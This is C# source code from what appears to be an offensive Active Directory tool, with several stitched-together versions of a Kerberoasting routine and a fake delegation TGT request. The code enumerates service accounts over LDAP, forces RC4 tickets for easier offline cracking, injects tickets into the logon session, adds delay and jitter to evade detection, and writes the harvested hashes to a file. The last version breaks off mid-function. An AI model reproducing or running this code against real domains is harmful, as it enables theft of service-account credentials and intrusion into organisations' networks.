public void Execute(Dictionary <string, string> arguments)
{
if (arguments.ContainsKey("/target"))
{
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
byte[] blah = LSA.RequestFakeDelegTicket();
}
}
public void Execute(Dictionary <string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
if (arguments.ContainsKey("/target"))
{
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
byte[] blah = LSA.RequestFakeDelegTicket();
}
}
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false)
{
if (userStats)
{
Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
}
else if (TGT != null)
{
Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
}
else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
{
Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
TGT = new KRB_CRED(delegTGTbytes);
Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
}
else
{
Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
}
if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0))))
{
Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg");
return;
}
if (delay != 0)
{
Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests.");
if (jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests.");
}
Console.WriteLine();
}
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] Target SPN : {0}", spn);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
else if ((spns != null) && (spns.Count != 0))
{
foreach (string s in spns)
{
Console.WriteLine("\r\n[*] Target SPN : {0}", s);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
}
else
{
if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
{
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
Console.WriteLine("[*] Target Users : {0}", userName);
}
else
{
Console.WriteLine("[*] Target User : {0}", userName);
}
}
if (!String.IsNullOrEmpty(domain))
{
Console.WriteLine("[*] Target Domain : {0}", domain);
}
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("[*] Target OU : {0}", OUName);
}
}
// inject ticket for LDAP search if supplied
if (TGT != null)
{
byte[] kirbiBytes = null;
string ticketDomain = TGT.enc_part.ticket_info[0].prealm;
if (String.IsNullOrEmpty(domain))
{
// if a domain isn't specified, use the domain from the referral
domain = ticketDomain;
}
// referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher
if (ticketDomain != domain)
{
if (String.IsNullOrEmpty(dc))
{
dc = Networking.GetDCName(domain);
}
string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
Ticket ticket = TGT.tickets[0];
byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;
// check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket
Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}");
if (match.Success)
{
System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc);
System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP);
dc = dcInfo.HostName;
}
// request a service tickt for LDAP on the target DC
kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false);
}
// otherwise inject the TGT to perform the domain searcher
else
{
kirbiBytes = TGT.Encode().Encode();
}
LSA.ImportTicket(kirbiBytes, new LUID());
}
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
try
{
directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain);
userSearcher = new DirectorySearcher(directoryObject);
// enable LDAP paged search to get all results, by pages of 1000 items
userSearcher.PageSize = 1000;
}
catch (Exception ex)
{
if (ex.InnerException != null)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
// check to ensure that the bind worked correctly
try
{
string dirPath = directoryObject.Path;
if (String.IsNullOrEmpty(dirPath))
{
Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
}
else
{
Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
}
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
string userFilter = "";
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
// searching for multiple specified users, ensuring they're not disabled accounts
string userPart = "";
foreach (string user in userName.Split(','))
{
userPart += String.Format("(samAccountName={0})", user);
}
userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
}
else
{
// searching for a specified user, ensuring it's not a disabled account
userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
}
}
else
{
// if no user specified, filter out the krbtgt account and disabled accounts
userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
}
string encFilter = "";
if (String.Equals(supportedEType, "rc4opsec"))
{
// "opsec" RC4, meaning don't RC4 roast accounts that support AES
Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
else if (String.Equals(supportedEType, "aes"))
{
// msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256
Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
// Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
// then RC4 tickets would NOT be returned, so the original filter was:
// !msds-supportedencryptiontypes=* -> null supported etypes, so RC4
// msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4
// msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4
// userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";
// But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
// so this fine-grained filtering is not needed
string userSearchFilter = "";
if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
{
if (String.IsNullOrEmpty(pwdSetAfter))
{
pwdSetAfter = "01-01-1601";
}
if (String.IsNullOrEmpty(pwdSetBefore))
{
pwdSetBefore = "01-01-2100";
}
Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);
try
{
DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
}
catch
{
Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
return;
}
}
else
{
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
}
if (!String.IsNullOrEmpty(ldapFilter))
{
userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
}
userSearcher.Filter = userSearchFilter;
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
if (resultLimit > 0)
{
userSearcher.SizeLimit = resultLimit;
Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
}
SearchResultCollection users = userSearcher.FindAll();
if (users.Count == 0)
{
Console.WriteLine("\r\n[X] No users found to Kerberoast!");
}
else
{
Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
}
// used to keep track of user encryption types
SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
// used to keep track of years that users had passwords last set in
SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
DateTime?pwdLastSet = null;
if (user.Properties.Contains("pwdlastset"))
{
long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
}
Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
{
supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
}
if (!userETypes.ContainsKey(supportedETypes))
{
userETypes[supportedETypes] = 1;
}
else
{
userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
}
if (pwdLastSet == null)
{
// pwdLastSet == null with new accounts and
// when a password is set to never expire
if (!userPWDsetYears.ContainsKey(-1))
{
userPWDsetYears[-1] = 1;
}
else
{
userPWDsetYears[-1] += 1;
}
}
else
{
int year = pwdLastSet.Value.Year;
if (!userPWDsetYears.ContainsKey(year))
{
userPWDsetYears[year] = 1;
}
else
{
userPWDsetYears[year] += 1;
}
}
if (!userStats)
{
if (!simpleOutput)
{
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet);
Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes);
}
if ((!String.IsNullOrEmpty(domain)) && (TGT == null))
{
servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
}
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
if (String.Equals(supportedEType, "rc4") &&
(
((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
)
)
{
// if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
Helpers.RandomDelayWithJitter(delay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
else
{
// otherwise don't force RC4 - have all supported encryption types for opsec reasons
bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc);
Helpers.RandomDelayWithJitter(delay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
Helpers.RandomDelayWithJitter(delay, jitter);
}
}
}
if (userStats)
{
var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count");
var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
Console.WriteLine();
// display stats about the users found
foreach (var item in userETypes)
{
eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
eTypeTable.Write();
foreach (var item in userPWDsetYears)
{
pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
pwdLastSetTable.Write();
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex);
return;
}
}
if (!String.IsNullOrEmpty(outFile))
{
Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
}
}
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", int resultLimit = 0)
{
Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n");
if (TGT != null)
{
Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
}
else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
{
Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
TGT = new KRB_CRED(delegTGTbytes);
Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
}
else
{
Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
}
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] Target SPN : {0}", spn);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
else
{
if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
{
if (!String.IsNullOrEmpty(userName))
{
Console.WriteLine("[*] Target User : {0}", userName);
}
if (!String.IsNullOrEmpty(domain))
{
Console.WriteLine("[*] Target Domain : {0}", domain);
}
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("[*] Target OU : {0}", OUName);
}
}
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
string bindPath = "";
string domainPath = "";
try
{
if (cred != null)
{
if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
}
else
{
bindPath = String.Format("LDAP://{0}", cred.Domain);
}
}
else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
{
if (String.IsNullOrEmpty(dc))
{
dc = Networking.GetDCName();
}
bindPath = String.Format("LDAP://{0}", dc);
if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("{0}/{1}", bindPath, ouPath);
}
else if (!String.IsNullOrEmpty(domain))
{
domainPath = domain.Replace(".", ",DC=");
bindPath = String.Format("{0}/DC={1}", bindPath, domainPath);
}
}
if (!String.IsNullOrEmpty(bindPath))
{
directoryObject = new DirectoryEntry(bindPath);
}
else
{
directoryObject = new DirectoryEntry();
}
if (cred != null)
{
// if we're using alternate credentials for the connection
string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
directoryObject.Username = userDomain;
directoryObject.Password = cred.Password;
using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
{
if (!pc.ValidateCredentials(cred.UserName, cred.Password))
{
Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
return;
}
else
{
Console.WriteLine("[*] Using alternate creds : {0}", userDomain);
}
}
}
userSearcher = new DirectorySearcher(directoryObject);
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
return;
}
// check to ensure that the bind worked correctly
try
{
string dirPath = directoryObject.Path;
if (String.IsNullOrEmpty(dirPath))
{
Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
}
else
{
Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
}
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
string userFilter = "";
if (!String.IsNullOrEmpty(userName))
{
// searching for a specified user, ensuring it's not a disabled account
userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
}
else
{
// if no user specified, filter out the krbtgt account and disabled accounts
userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
}
string encFilter = "";
if (String.Equals(supportedEType, "rc4opsec"))
{
// "opsec" RC4, meaning don't RC4 roast accounts that support AES
Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
else if (String.Equals(supportedEType, "aes"))
{
// msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256
Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
// Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
// then RC4 tickets would NOT be returned, so the original filter was:
// !msds-supportedencryptiontypes=* -> null supported etypes, so RC4
// msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4
// msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4
// userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";
// But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
// so this fine-grained filtering is not needed
string userSearchFilter = "";
if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
{
if (String.IsNullOrEmpty(pwdSetAfter))
{
pwdSetAfter = "01-01-1601";
}
if (String.IsNullOrEmpty(pwdSetBefore))
{
pwdSetBefore = "01-01-2100";
}
Console.WriteLine("[*] Searching for accounts with lastpwdset from " + pwdSetAfter + " to " + pwdSetBefore);
try
{
DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
}
catch
{
Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
return;
}
}
else
{
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
}
userSearcher.Filter = userSearchFilter;
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
if (resultLimit > 0)
{
userSearcher.SizeLimit = resultLimit;
Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
}
SearchResultCollection users = userSearcher.FindAll();
if (users.Count == 0)
{
Console.WriteLine("\r\n[X] No users found to Kerberoast!");
}
else
{
Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count);
}
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
{
supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
}
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet);
Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes);
if (!String.IsNullOrEmpty(domain))
{
servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
}
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
if (String.Equals(supportedEType, "rc4") &&
(
((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
)
)
{
// if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise don't force RC4 - have all supported encryption types for opsec reasons
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc);
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile);
}
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
return;
}
}
if (!String.IsNullOrEmpty(outFile))
{
Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
}
}
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false)
{
if (userStats)
{
Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
}
else if (TGT != null)
{
Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
}
else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
{
Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
TGT = new KRB_CRED(delegTGTbytes);
Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
}
else
{
Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
}
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] Target SPN : {0}", spn);
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
}
}
else
{
if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
{
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
Console.WriteLine("[*] Target Users : {0}", userName);
}
else
{
Console.WriteLine("[*] Target User : {0}", userName);
}
}
if (!String.IsNullOrEmpty(domain))
{
Console.WriteLine("[*] Target Domain : {0}", domain);
}
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("[*] Target OU : {0}", OUName);
}
}
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
try
{
directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain);
userSearcher = new DirectorySearcher(directoryObject);
// enable LDAP paged search to get all results, by pages of 1000 items
userSearcher.PageSize = 1000;
}
catch (Exception ex)
{
if (ex.InnerException != null)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
// check to ensure that the bind worked correctly
try
{
string dirPath = directoryObject.Path;
if (String.IsNullOrEmpty(dirPath))
{
Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
}
else
{
Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
}
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
string userFilter = "";
if (!String.IsNullOrEmpty(userName))
{
if (userName.Contains(","))
{
// searching for multiple specified users, ensuring they're not disabled accounts
string userPart = "";
foreach (string user in userName.Split(','))
{
userPart += String.Format("(samAccountName={0})", user);
}
userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
}
else
{
// searching for a specified user, ensuring it's not a disabled account
userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
}
}
else
{
// if no user specified, filter out the krbtgt account and disabled accounts
userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
}
string encFilter = "";
if (String.Equals(supportedEType, "rc4opsec"))
{
// "opsec" RC4, meaning don't RC4 roast accounts that support AES
Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
else if (String.Equals(supportedEType, "aes"))
{
// msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256
Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
}
// Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
// then RC4 tickets would NOT be returned, so the original filter was:
// !msds-supportedencryptiontypes=* -> null supported etypes, so RC4
// msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4
// msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4
